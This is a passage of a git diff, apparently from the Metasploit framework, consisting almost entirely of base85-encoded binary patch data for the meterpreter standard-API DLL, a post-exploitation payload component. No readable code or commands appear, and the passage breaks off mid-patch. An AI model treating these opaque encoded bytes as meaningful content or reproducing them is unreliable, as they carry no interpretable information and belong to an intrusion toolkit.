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 diff --git a/data/meterpreter/ext_server_stdapi.x86.dll b/data/meterpreter/ext_server_stdapi.x86.dll index b4f01fec989a5d33b5a44a4f6c35f2470ebfd6fe..079a55bc9c459f1fbf09e1dffd79a9d6255a88d6 100755 GIT binary patch delta 31166 zcmeFadt8)7^gsSQ&n~bc$f}^+1qDGwUG~PZEEg~9{j!QKk~h4R>!x`F?+A*hxKiq9 zYh{X;%3EoouBjC&37VCe6{!`K)q_w`k)e|Neb4NITA$bF_uucYkFVF+nK^Uj%*>fH zXU<$6EGXz)P|$hPs{G#1)SMb6D{Fxv#UGUIL3&8>#j;=)R+c@F@a;rf*?S0=?fsza z9hQEj>=43JquP|cF_PjhmTh7Am1VnGc%IQM+k4I(R<Ll)tmzh77w7)h)@0<k;k*ae zyWcR<mJj0z>B0Ar99iy3CLonfmhwG?!BOO#(3Mp2{`_t7HQ%kBPo0G0<X};cP--7p zFAX6*gvGqRY`3t0?|Qq6<80MgSw%N<(#)#6NgD2`RGy<cMS~2dLd;r0G}1)=6*5N} z=2HS<D`$4*%EUe7MQNAVzbiSeuxXiJ5i&SuZnL;yg}~XGvWlF3Yd!$VTw-iCWr|nH z*HVozKaco(XoYEcWVlC2SUHN?j7^0VQR#&j0*j4J$zFb|mpYx!37O(Hvc@C6XC|d+ zV6_cugL*1_itgqFn=DdJ;LPF><ht83xsu%Uh;E;oCvaI=wyL5_xxP-V*k(Ct?-?eH zTtgI|7x>>uqh~_b5;TgncP(pgqZqslWo%7WzQovwhR*qb4DuSwSCAcEeeiq5D?#up zBu=k@z^2vcn6b$kZkgyIl^2$qBp0mVCh<EGFYD@kc?r1G`Dcpf$avXYp?C?oBzqd= z`?TqX-;6eW;`OX}qt&CZTrIh184n&NG1`R$Gi$h{fiX6V^3~+6Hi?32G5NVoq%e3f z@%Ek^Td|bYURW-*%1t(7V_|uy<f2J@(~YhO^mA|~XFvtn<V|Zl?%k*7R|T|4YmEi0 z#tIkm$r_K4c5M@bKFdWPtg`WS0nUK4oK$XWf=YO0h-b*;w%w!E=iGw3?jGnfAh$JS z73Vfk*)^NYV*7LCK--b1eW-6}_x<?-XZ0u<L_52lRsABxgqI950YgP-64&Gty-yT> znoRKt;P;VSpSi;99P*RTbT<$4%7611Kr!Kkl_tsGZfPl3l8wGeLdHT;=^H6n7Lq%@ zlOt}UZB}{7Ajl}gBzC7NNfix3N^fRTqAk=xTUuIJ%G%SNVxHjcpGOY1(*<i6{7W>| zP(&}Y7`}isw+j-w=8(>QYxpX%!!HECr~JC+UqgxF-0SHji^I&t#w(S^TcsX6C!S&G z8lcrcS63Rve`G-K13JCfc-!h#V%%Y}eCNTXJ9B-CbL&NqciodDG`+CWVwGZ=Oiq^g zZH&e|nUW!XIS&m}l~0&_>B2Z$ePO-7ITHoNBkj*}T%|N>3F<`J)*wDltny&~2T~+Y zRM?PNSRv1_?DL@WXgEvyOrUcs(>=Fzz`5tvh_j?#9;6k3u{Eg5!Ic)vKx>PQVzIFv zEfS5$^m8<o7;l>_v`#DX^BTqQvn08_C3@c(R-ZGs!Cm8YASf*cg^`;w#7(5CeW;HL z85wN84>>~`+II`wCy~mF%KeIVLg_Nh)(BIHvDzeNEFnERjN=cJRUIPzH_XTAj%bE) zm@--%NtH98l$`9ancqPMcMK0cHU|<aTp7sav~ey96!+4kZBb~Z_!24T_(M>}ase%` zvKd7%D9~}mBbsxSqn!ceWQBiUem{B7KL)=)`5(ZzZVE`?Pm%Kh&8YePPMwn~&^SLw zxyf=A+5_`p^)!huJu9GVjS#O%Jc)Q#k}=e8?Mc_1aps0Pa|6X|#ILim_i@&>oN${0 zf)BiVfzRo0?QIqZU`E3jm*;3Ma$KF_?geR1gfn0}ncKN*&?yvwJrp}q#>q{K0_kYW zMcoo|u=DdB_b(PW%PrcJqFWE0PAGmI85TIoe;~!*ZpE8TV)0_~R^SnJ7f8-rQuO=Z zlz9EC4G6`y6bJKOQq=gs>9p`tjx!Y-n@iqhxq0)+=AbzF?-taLCZ^hQn={SgdGcY< zoG2%dum@R1cXOqx^12~bxs@01P)e6YZeteTB@=_E@Mp={U?qQ){1$BPSUFdqstEcp zYIy=_PsfL(M0B1BF)raV!NQKHt(w~Yn>l`HS!RaVE2r#4NH;0}KKZK4QT|u5A)*ie zF*zL(pC5Uc<5YJebH&Kq259P0DbxRAW25S(_}3w5a1$B`Cf3Z!wWoRLcwA<2UX$pg z(+EAvP0ADtr=m&a5|bF7O_5M<;H6es-A9?08FFg2P9h^yT!b>TUGk!vxv_QMS|?_T zr#dh`kQam#khwlk95atBj_lj1k+K51P7;~hTvD_T!($S^B_Bsd`E;KGHpb>GlQ?z? zc^KI}@oON!wXU5d2eoC2AF;HLyOiZ^)}=;qB6^c)Ip$7{JVYjR?aE&!E4%i~A3qtj zxor0c8nsPoG_!e~AsP<Sd7VMm@6m|DB&y1%OrF53$LP@+F6-fiocF26fEKH6X4du0 zgeef8!8l+PKoU@o)q%++C(N8&xoD{P(<Iu7CR>w9>^PaEbqfqCKR_#jddkGl5k*BV zi+O;|>lP5xmDTN2cMe9&Rp&eqJsL1ulj^QG;s80^E!MaHBTnNFkng(r`*-*+?Qf(_ zR8OBD_P18rL~6PP_#Xq}UtC`xv!Z(V6g{GRnNkLfby2$H>BH(z*iWjWVk2W7ks1(n zi)<3Lx0onC;@_lwbjP4VM&-7iKfOWQ!R*)rk`f*0e+&q;qlJ65$|<59(WyO3k%7T( z8J?-EARC@VEGMwYnd6ly4xK=*M*DZ__9UAo)lG=$A-NwNlfRac`+z(+gS8@4{NeRS z(m=Fz2(CN@otQEis|M@DshV_-6YF3k+{6D0h#xhU>cCyJHy2noMWoiuIzN+m6_x?h z9kboTDw{$|yL<T+83bBz3Dnjs&VG(uiRqFb@xIe(<xOG;W(L*jSW`(6#leu5n#2P} z)N0|-02h{0{?1H7C??(Y4DrxxYEDaOAuM<%ar{6i+N5S{dpCkjhYZn&^)J-5dS!?o zy+(UZ#W+y>9`V+$pUi6MI@9=5w`tcuU)0+5A`t(#>r-AMFUNHA8`bTx?wRMHdolSQ zF8js073%8N4wLw&?oqcWmUiprb5sECZf#?$#13>Tlyz%QlB-(*ZiKsAclXh@w|2{c zq<ivSVL5^6u1Qro{)uk6$8jlW&>5G(aH+HzD7Ve<u~mzM_K{<;alXlnFPp2TeWW(F z*P!3`vZ5iJz}$x>F`bggu-c1VP#4SqvvGcFYPd%X#X~4%DQh*k;wxlQk7Qx}v*hI- z5&U^_rpJK%Qy^(E=AARdOGuh5N>r06{<DWog*u5<HkqoiYffZ}KLYQzB=;E!wIrc1 zZ{CoFxELI;z%YyJWfI>pQ+r2Eb`Da9Xljb>qT9gPjAUh;Treyoo8o#$^RuY)GnSIT zgPP3dg3Ty5I~7=?t-LeWU+g@a{16u_^qfU}dqxT#bBLm+KVM0VJ$v#sWPZ;sQR~N{ zwCZl1*TuEYe24;7F+PR$iW1{h6SaQu#d|IjhAbe8_^!{MC}m3!TY)^M)Rxi}$VU{% zV)WTml3Cl0ubl&|<toIOA?AV}OVB_mW`kGdK<RR+RPJ0P6+6&Y11CY2<zuM~r25?` z^$9IiJWwVYO3AzNQ-qo0NO-TD@cUzECqeI>X*OAocaX~KLM$~1D6g-{(O&88Vs>HS zEH^PFNZv&r_UbH1GDzp%ed3-$>xy%0Y`OAux64X3N*o1rRu-g0{Z@FY&VVX1uXhjr zdGd1aE<P6~FfFmd8M{S3=)IV)CMkXF{B`nqAFVL|DdMZ>A8atWTlJCEv!tkou8Ec_ z?WJ<@FJe{n9<mx!t7JT1A`LN#he2v<plj{j92LdT1?d7NGv>IDS<Ga!FtD)6nbXcT zNM16o*(MufHaSPD&0>;?e5dFWJR8K8SV*>{Xgq4lFcrT#7NIyci^L_27WgcZm+*=( zV>}5~W(VDdlSmzo@{*zzAj*xf)Sz7^@dhEvNd6!>p^WKvb(FxFY!|U*T*9c~rslTE z6yE_lOVVJrJrLg_PGvy5?G%yRwBU|)qFH=Ex~fcqcP7bEou0mOq`(!d&^ae&<!B1a z1-Mz)#dagm(P}K-xn8!sW^22;=bX9M%^6}>40xuc5v|A&UjYp)n(cvY1RSTN`7*QL zw(?Aj%`N7AVmz)&${DwEvRU2HuNq3~%)Odv%d5{6XFW^G)T-{v;b@g>ZHb{#o3Y+C zWrA1++xN8_PJA@eIv%z%SFAYiN{KWLY_DQ7ze*FC@zyXjm2UKNy{zqO+rf^Z60CVm zVmVZUHak;1$zoS9t>~<35(j`6_WKwpzcn`?S>P-_R1e`tileOLFU?;83d~Eme#LoL zOQd-mMhyP`P~y}EwHJ`n+B=!pV<_p77#`hbXiGa}wn_fhc9ZL%#Mfal#E=Zu@r+FI z2$`MOi&v1B6GM7UAHursw`LUT&lJbfWNm-ed>JkE1||!7;#6gddJFkJF^R7(3)L;; zh2lYEb5hT!a;l4ye4Hxrr@@p`hTYXI#0oD)NG?J?KH`Ewq$Vj^SUH$@>GeUwuw>E6 zmy=vlB%;rjP3W*mR1YLi>H7&Q29llne%Pygr(f=C8U!}w5n$3Jiey%DDF2YGO*RN- zBdJJE5?&ZUoXJ5kIRo4b^E1TtbUkcvIs7JZ8B!<@^%FZ9Ntz*4h#g2K8G`xUWQk!y zFZCw6WHYxU8*+t)V~hXTrY{QlZnq_A)0UL3VZBjPi(!&Ysr5o3y4P>OUVq&SBrT;I zHbv7@h6o*AAaA9_An^qfvKL5XYA60XqDzhD|0I)BjlQ}4sK}X8S^JTrsX@ZJe&oYc z1xhrhs`yf(NTaOArj>+l?T;=%fpH{*vx}@kUHqaBekar8v1_j)|D;8OtXukLLc&JU zlpf|KNrwp#{~@7$Y5DZN{^8AOtjW|bky&LEYJY%LrfqIQo1e0g1%2aSx?k;^64P!P z^(=0gDved%&@%BnSYfSoE{uSRRUikuc3LOjFNSxL9{s{p*HURO9&@nDH&A)Gd|X5^ zCz)5pTnpwJzCf1t3y&;dWK8VaTx2cF4I>)8ft>0WHnra)s>~;;3hQ-P(Jl1+fG#Na ziecz?yAn{nJ2bh+ovapbB5BpxuobVeV&;sd8dVWxwrS21ZU2b_QjvY>f|$Yrt8%={ z@h^P3nRdfRGy~7(bj~woY$e&|NlXCJ@-_DSu9Ji<<ct2{`9A>JvT}Duyw!=#6lF-d z#S+GH0^w^;an+PTtARIpeLX6ob}nbOnXUh{_Aa2d+;6Q&jwGyFv-mS2Ch=`IFW6ZR zYl7#Lx*%8$=R6;0KmoSJFe$k*>>lY3xv9ku%ttM5hiNO>H$cVbkm>=^UCKd(`kpB^ z{)&?>B#Mm<w0ty>&VZvN)EGFd34@IZf<q)@y(z;Pu*p?Nj@>F3IrzDcO$$_l!zQ{S zb%Z->Gs>*;VoxX#<X=452mX1!F-(}Sp6oPsN?So|8z`gJz#3_CE<$}vfU=}!aPT}9 z$;8#*MwcF_naj892JWu8;|$nJ{xtUHw-Uur|8SlW`WLU1Casj^_|UT9KxGxLl$pg3 z$k>4iK5JZU&Rs!w)td)K@E?+6169H6frb#f)8*3JI>Q+d%EKWzONpEV)t#=dWi3#Z zyLJaYec>W|WRf9+B7!<%a$1~ebP@gQJ=dW@BSI`|s|O|fTya;|g>t$yNEhFoaSElA zFCzm73NU^qI936!2Kc@342*7FSO#@MZjxSu2c*5Y#;tySYc|8ym?7&caHU&iJ)yQY zH9<_)-}Ys)wtVZ-mts%x6gfILT<EceTpb+YmxIO>5A>nK>dSgIxKqAs+?z1&cUs21 zo({0+8i?7h_UF8BLA&zV*vxRF4m$%LjodD)?9s?kAwEx;RMY9^fkx32Dl2b=&xGT> z8mpO;i?h(L!V0o=NT=y<B1$_Pjj(0@WEIlv(3XAMP$b>+X9~*+#5CyzZRk<B(uW;m zL2I_smaUX>IlfeB!LS0PSy^V$H<9=b?dn#NKUw)Flthk-T}t90(}s2x3Jb~Fp?$`^ zqIJvJZ_P%g&lzU1jM`E^o6!dfS=<iNd`t>0ldW#-<9bY`@iUc115TfE(unu4;O?KT zro9VfPHaxVBTWxsZG)4QgOj08$k1WaeCD~to!iZ(*-lOkOOLj=5p6Mqh}K?1)10}t zY$^04%=x7=_l8YVLBfU`^21RJ^aOU_Z%r4BANBywc~WuasunSu#a9YIlIP=GEEP=* zorryhSzH6OGq=(54a}Wc^h6FlsHAFT7A-8Vo|!_kcn7J%iUH1Ck(oo>KmdW`%0w}n zFCbqH*QPaL6F|>-aAdir9IA>FOR<;w2@ReAv^9cSi}aL78k`CJ4JjZaM}%O>w~h$0 zE})#K*WiPdkJ+e!{y06F?9bYgDUNB$_ioJ(h5v3cS=(EM@g^YuH3J|pTXpT*9BLQF zV+!2za}1P&tepHdB2d|)`xhP?;+&J%x3-!nI<&7bb4V54Xdp==Lj`34$s8Fr^9MAB z>fi)~E~Tb7K_x36Q)`M?0R(mgu-aJ0USPRYwR=LfWBw=AZktJ&-UT65>@+30IWkok zxsrs8>Kb!8&n2JSHns`a4Cc12t8oj$R*ep3qK6{w+>B8X?IzN`R~6oK<}R~^Z6{ks zb%nEVVw8$sPijXEa7`7(Utm~R@x)Z=Kx=09^c@A3{wc1#-6;ii7jBXTrh#3v!5PjP zwK6R#ieotr*0rnIxlk(h$s;#Rnm$ZhbFUSZzZcsPN5;kmT-2Z>Jv)Yr!Fc$XD~-45 ziYv}bAgQA@{Be>qI!2hig1kEVH@=~)WQ>gGza%ead=Pzj3EP~H7u+i{meYGcS*Ese zA9gm2OP7#>u{vSO5^{QM@7O-bb^CP#5PiZ=DXb67Fxzr{aE#kT<l{oZ43t$iSYhcE z#rGB?HO-Z36pxa@<F*JXi^;8ViM~=~xfj=<#U#SqIr{3NCmKf2@WN>M8Esfg=~C{y zm`pSe8!``+ZWC98=o2kkRiExjrxkNZ5|N9;xSNra8Y3q)<21wF>*Bn6a9_HJG??f3 zoauqlv2ZdhRPdTJ2LxMlTbq`TDA>E!(u^LYGE)_>T8U+hlhS3Z{2oqcpwDxa#Bclv zsKuo5U4>q8WYzd^!8eZV9v>}C%^_9eb!`u$l9DCZ;SGu<ZL<_Y<S>$w6@+7r%&hL- zeORV%rg)jG%Sz;TlJ~QMg|rxQGi#L)p(vaD)I5Gf(tNb!=|*}aLp#Adn<C&WSG`!O zNnA`*LDVSWY{p6xpVBN_lQ@Yct|0+q51()3d=fG-lD|n(CPtV}&ui`MCx|{F%M5H( z%s4P#OEaGKX{kFy{2T~YaR#_o(FCnG1H8|WHz)SVPX@|8xF%ZG?b^BzH{>lUBSoId z8JX7@nMaS?S-;Ts5tLzTx6){eb&G01f{UH4At|pZ=c%N;=A3aDoY7{HkAgX5`$?&l zOqi6Ie_}4i9-bLa4JFph@vs!`tKSUKiY#~Y@)4y2%+5(Oa75=i+GOq~Rc^NgVnIe* z+T?B~?P?BiE+No{J;NAbIycfrO)Qd^=ZvSmf#tfF6q}4C^GM|6e)-3rqt)R`-I_TC z?QXp=+X1|Lj=jxD9@`5P)<?M2`59zAQes@EImI%dSR?4rR*U;6pHQ@?#8{JQ5)bxd zyAl{UTv<%1T}!^7+%w-BG|t@Hmd~knh|P0oO0-n7)UPa6?~=Dz!%_{FFIe6+mTF{* zWELxsDy$exx8Ps0>@tR6SL`j<fTcjWdv${4(q4@$cik5h*0<`xEM&HhKc=gA3WydB zXciCBlv@Lu#2qw6l^Ii@5f_s;rVQl&CXv~l2Yx%7R)>i%6B`k2(K<GkZV4U+9yL+r zq5`9J-2;kocTJ8vWMy`D--VA@t)ETa&hFGZ{l6tko-DZ%NobqN><loG;_MJ#uSZNm zXOpn0b0T}8?Klae3p1`0rQ%1R$Z~37&v7MU7Uy;$ho(l%*vJ_9Ou9f_kQXQkn>h4> z1#J|=o@IS#ma#slZrU1(CpC#Pfu+|?a2}|06-AwLg(XXn(T<9jkZbwO)$0w_qW)RZ zXIj^ci&mF5f}Y*jS5uXA`H^Pv05aW!_a398`!LtgxrMnH=qJ?iCXOrjP3z@5@KMnT zR`SiXFu})4{+Slt{;3$;kPj#+8VeT-F5a*hqMF_--#!bCdx(o{jA)HmOj8_eJ~MH3 zNMVUADT+lAlciB2rCt_#gKa5#>TQ))8qdNf;wIcRHpz2f#|7B&ong#rD$d=H9vK-9 zT@lN=GndIZFHjuf>y8?nA@kIh*|>CIWM*-uYiB@-l6}ej>5-i`hf_({V9KvU3}<ch zgd`%2C}#{9wkH%O!)Dx%5ygq|R+gG{of@0gU8IG|kzLAcMf8zYQkEl{M_X3-W9(6u zoSP9RJRM4YnGqx`iYBtB4Iv9%1#m=4T|##Jvj)^Aap){E<>{I7_Q-GXn68WcXOb_T zHhLYN3C~gdyR7RoI-V~l6J`eYyctA$&|rh3(O8^!J5$_>eGzmu>BK~cH7C{VWD&Et zLPttx26TMIP2bRhAFCr(GY9&41CQRKHMF<QB+O#+y+6aHc<`5&2xZGG9eBBII<+Z> zEsL;FWr%sx$&OhnK{uUzI;&IQJmkSqs>|$OnAad(FqwMV3TMDZ;+)mDS7(-q?Pbnu zbuCKy#2M4cX{}26A(>;16qZgSo2=V>{+NpEOeSO5G?MVFzves;SvGh|O9aTvLMIC@ zkb$JT<GVQ_R?dCdb^y2*H7CoS4e?(9#A8}b-H`XmfoBT>GBEh=b-(_;Yu!%|C#kbX z`3Iv&NfAYwm>%O0V=CD_yOVErHf7E%Qf@Y>m>ton8^vT!v9+vsbaKwkCiiD|>vn%i zYfJn<1x2w{wm6N_bZB+E1d=}IDZYffGAB-0kWDJ*MDW{)I42yAhu3q-2CKior5EM} zV()m?_P3ugHxN_kc%`v|&Mk4cD>oF=soc+)7n)g|TUBYi+JT<NEBwjI=bjPzPbNP- zH(A&qD;qd>AkR0Dl6h~2^uw52oD$l@ORjFOf3*q`u}2UYH-E1%HlEy{A1=%YB*6;~ z1vxsmQrF@I0DTxBA{2L#Zx(bG)^#R-FKCS0+zH3gB}II*i-1EY=DBfAZX7~!RwojW z^RrM8Q1&pVGaot=J+Sy;ewP%j`iBj`#i9a4IB|qONmyhT)_ar7i!{n5uziJj{#;Ik zbt09oZwR!O+FTsl1g4wl)y&Ia1x-+um(1fc;r1mg)(D+C63gP0fG;~hRZ5DUX#E9p zdT}I<L2oS{BJ^xSVwTKrcQ&4K@bB-$E1Mh{d3{NIlx8f`oC?@3RLhp<)j(M;x)Igl z!m;G;lHU1$X0+&Gs{>F2lv@q|V!18{;NKq80pvkB>BNF#ht;bI2+Joe*76QbU3I0J z#9K7=sVmheevA}*=n_HpE)5Z~1ya5=bV4$)X3Jvm%M|+{4y~ik$%MxbDmw%3*5Y^< z$zunV%+LOD3~Lr;)6#Qg21#5N(Y+iw?tXoaD7Ahq$CrimQSODrM)H<*9`_mYTUIa+ zG@&lrWR;3dfAZLwW6BPt$F11r+zRC|7k&mBBN~U>+@wijZhPv`P{C)423Cy^qZTic z+GRa_Jy;{yGz=a?x-5?fs2csB1_z8GW0&{RyoelkgAXD4c!OPgil_fu^cXq0ytl9F zQOUuh$?wYp;`slPjs(j6Tr%47F&a!2G-)(Ztmu*co~gC!&k&_mw_dZas^5qy=$2Oz za-juoal->>DxOr2Ly(tNJm5vLEpMtn-4$Z;!~W42URyPadx`hTzWgmRe5KZB+sM`t zJxHEk86G$R2q^4LH&@sOuxu3fk&2a(yq)~CGF4EGB;E5P25ufjTSiX+N717y%dhAI zeT<bUE^f`ylo+o7VFrTEyWHr)ylUx!E;b{s0k6BP{l@$V{t$UH-{9MOL~F16k05vR zbNG+Qvjt)N5mJob&E$=Ou&jmAt{I%`i}O*B{ZN2fJXqi?+XJZEH13JqQksjyUe2<E z<tDb|degEykWu%XrIclbMw75rL5chm6cv<0XW7pve!{MTb%7N=MYF;z6)X$u&#Lap z`&tNC%c?-&s{1ITS=*A!isO|Vt@}93dNzuDyedd%dV*rBtM0RmLi0q{CRg3%EGsyQ zbXmO|bGU5BY6;)dGKA@aC}CDXd<RKOt%Uhg&0;c5-C<eP;!bk8FwNW!C|JLiD{|-H zR&DTSIgh{UajV>ipn-Dy1+H|4H;D&<I74fscc^fUyoZn}YvQIp5A<WK^B=L^%5olO z4S&{kbT9;2VBXUHmyvwb{!p4~X@CA;a%W9{<DEfI)N&I^w}EP4Igiy+SntD3)Emff z*Wv2GU9zAk4(BAV7IhcKJs=+xMf2~Hx}xxB+CAddt(BYm{=wbgn*&>!F)y_z=v*zv z9_%e-TIkycy7g}F;y@ijnAA?08T<Jhcs5cAnY%Vv^*l)3#%3>~nDLL^Q!!tE(xZx8 zVm?gHt__=>`lwt+OSzV(1O6>iZS$xsZOKzeTK=F~fi`|^MB-1X6!fw%4Owi@Sl{Ad zPZ~rF>w3l<1({p0A0YZf``G>sjS`m|$@A-i{oki7DSz6~>f%WaVv3QRT^B9Py+?jn z*C*ct`Ed529D{RW3q?teKaTQnDa}0kK*n8O7w$}SW4;)G$>P(JKc40LOljGioI<W! za33Mc8s>hcaY`!3`fw!xn&~pwD?m^w?a0)N39-`HOrNLG&B}VM(N!Kbxt@jh2DR%A z>3|l-Eic^AW2Q<E`nQfg<<}$*9YDGi_Ys69Vk%a_C0kP*!#9(|#o>KNfYdF(X^6T6 z$aKlowy-BzHHfo;Xq94<_zP*fq1)KneyzQIh^TuQT$@66B_=w6enPuFDIaPB&_a4V zu@(f6J>6N{kF4Gh*Z*0@m@SM2t&ClJJXiblPx5ULizy#BU-aC&ANg%VS6@%Y2O29A zL;8_$TVU*`ebG+b3!+g{xyvh{o^&uR?%_sMi*5Un$+pRSJbBj^;+uvdZdr}(OMbLP z`9Dl&y(;x{DHT2MxJkk`_8RgLGN4FwyV^2tr-5>7#3wBGk)tu%)tB`yZoA<@GBp6V z&k5O>Fel@`+|nO$8~2D?>#30240t2UR?QwYQ?8gx^^nO}U@d!H=>~BiP3?1~8bw_? zNhmS#pODohY5C?fY?BuISl&QxhB%m|<d*#`rDrLB%K?^(N6ODJD9~g%$kL&%bg0R4 zh^2jywhdC#^O(g7Nu|m1rXM|Yil*qrQL1t**pk1WNg5QqsF&Gt7~;$jXQh$!=lk^E zpUNKYu&vWs#GzZRv#?En@Q<H`xn(#DBpA}iWq6Vtdp>qZ3M>1>h{OTq9+5N`XX^Sr zru_F({=;lwD(Ut@l;$dO+(myx6pd>28eL<#>%T?o$%+@EdM|!da^t^Bp7Mv86K(BU z4MTDY`S^v1?$6)nv9A-@7LILM#1)TWaKej|3hRC1ziFR(2eu8^=wZ)cve1oF=K4u> z;td0BVFbh$)Uu)`0!1gLOdMe#^_xQR1fb34xQHS5V14oQ5Vg=#W4$}++RKPN?~#nn z$wH8UY}))#2yY;pw#4FP$2(iXI<3T>1e*;MWmUJQRf~97zvXJj?d@rkT=<R*{}uU! z3=mR&Apu+C1;1ZN|E=--k7VA~PWc~W;$hmfko$w2ZeP5UT(gOtfj(D{amU2M=Lyqk z6wiKalWHE{4h++^&eLo}>EKMZU3mOt2p;L5qCfIn2eKYk&&hTDGn{hB<6G2~kzvKt z9hvw83D_3V_WQ&ZSv8ULZDIVuvdP;z@q(<8EP8PW+}ZLM6}@A$t@>a<^oc4@1=3;F z<7~@q@9&UsdyFy>8wB^Limow?ehlLp=Z+NPK1UOOCyVWc{4eBzJ%@^Gdw|eYL)LBY z(R-%4rGa^f(Yjlo1fG)9x|e&j*4<N0zS$npXXWp$l{dJmn*A8Y)tsk*!SS+;ej(HA zrRD0wZRtQZJkqU;#@{%xRz<6%$`#n6TmylEoy-s?spwHherKfF9d}NQ+49FhPVNlw zhtuDB!r{f}nQ;zf+~8!moCUU;RV&@&lrtV?O-8?RxcLPXV^O^2T{J0EtOS8`k=pWJ zTdH+Kz{0u6V0oXVl2u$Nl7Zs;DB`X$Q+yF6&_c8LCb7NTJ>QHZPA1tI)^j|}p^NV> ziUyuOkoU4?)_Nn0UWK9k?9fJh=cLm~^W8N&6I%C&Ial5F*ST@@`Po^^nYJ=_dnsRb zAceypqIe~Q4<y51i3|^fT(DWnYs9lNsnxU2g4YW`WwM=;53#)xksnJ*s^PDFjb|Hb zB*6JvQm&ZO7U>9A`aA@OTS&B3Cb~pQ?-)EL+wyL=3{o^2=3dP7h(c??(hDpMl)teN zT)j-r069xFxKlnz(Km|ittji7BkvLYj`S|VuMmAn(bsqaK~GfZ_Zi}^zhGmW=aVVU zQ;?T-gbXTEU>xxwUf~0Ng-79o87n1L<pj$)HiUNMS<cfDqi=A7XzBvZpm%i3X{y4N z*NDeZ4|YTfO9T@Bsv^~so|<J?t_QVz6oM;-KQPg3c}-|dHB;5Ghwwr{`#IgD7gpd~ z6uhqS%&J>}`*O1J)nQ(<kYmQjGT*!!+r53CR+)51l*;68PJmhL%4o*0U+d>2erGUk zz~G(zajvy-XSC|U4?O$4$u>|*+h1vHq{=7WcA*=r61EXN+m=hmGZy+ihOsxfy|Y(4 zHrn*)KtVN%blDXti-Lr4J})POcP$aTu95S*#tYi-NNDL?d{?ruG$nLY4PExw1V1n3 z@JPS)vxca6@?+^_yg?nXyPNK4&(^MdfG9Ia|2iGd10GAI4=xs4+>N2}WY_NDzVWOu zn~;5b(#r+@9`V}~#Op|pJ-xe@$F-Q7FA!_t%$z;f+J|RhdlcQCL#BI)EOgVgOluce zN*uYeC)EFaWI8pvdT6;*GhFH+7gzsGn)ihEaQ0|r;QucMt{nudcq$ZDNBZvlsN-`# z@!W1&oVs1*Ild;`_eSpPC`i5~+I@Wj_Qd|DvvYfpW&4Kvjz*5VozKLQ&-TR#tA8ZT z`!<Ge{|!3BzNg6v!hFIfl=PB6zKI%{kYCB`ujzvJaS(;u*9wcFH*nT?TXl(XJ-Po{ zNPgZLaprAU9q+8-yyL3!$Rc`{ZIzYeo%-`oR>`|FkoxlweQs#!Ig(398^n&_L5(TC 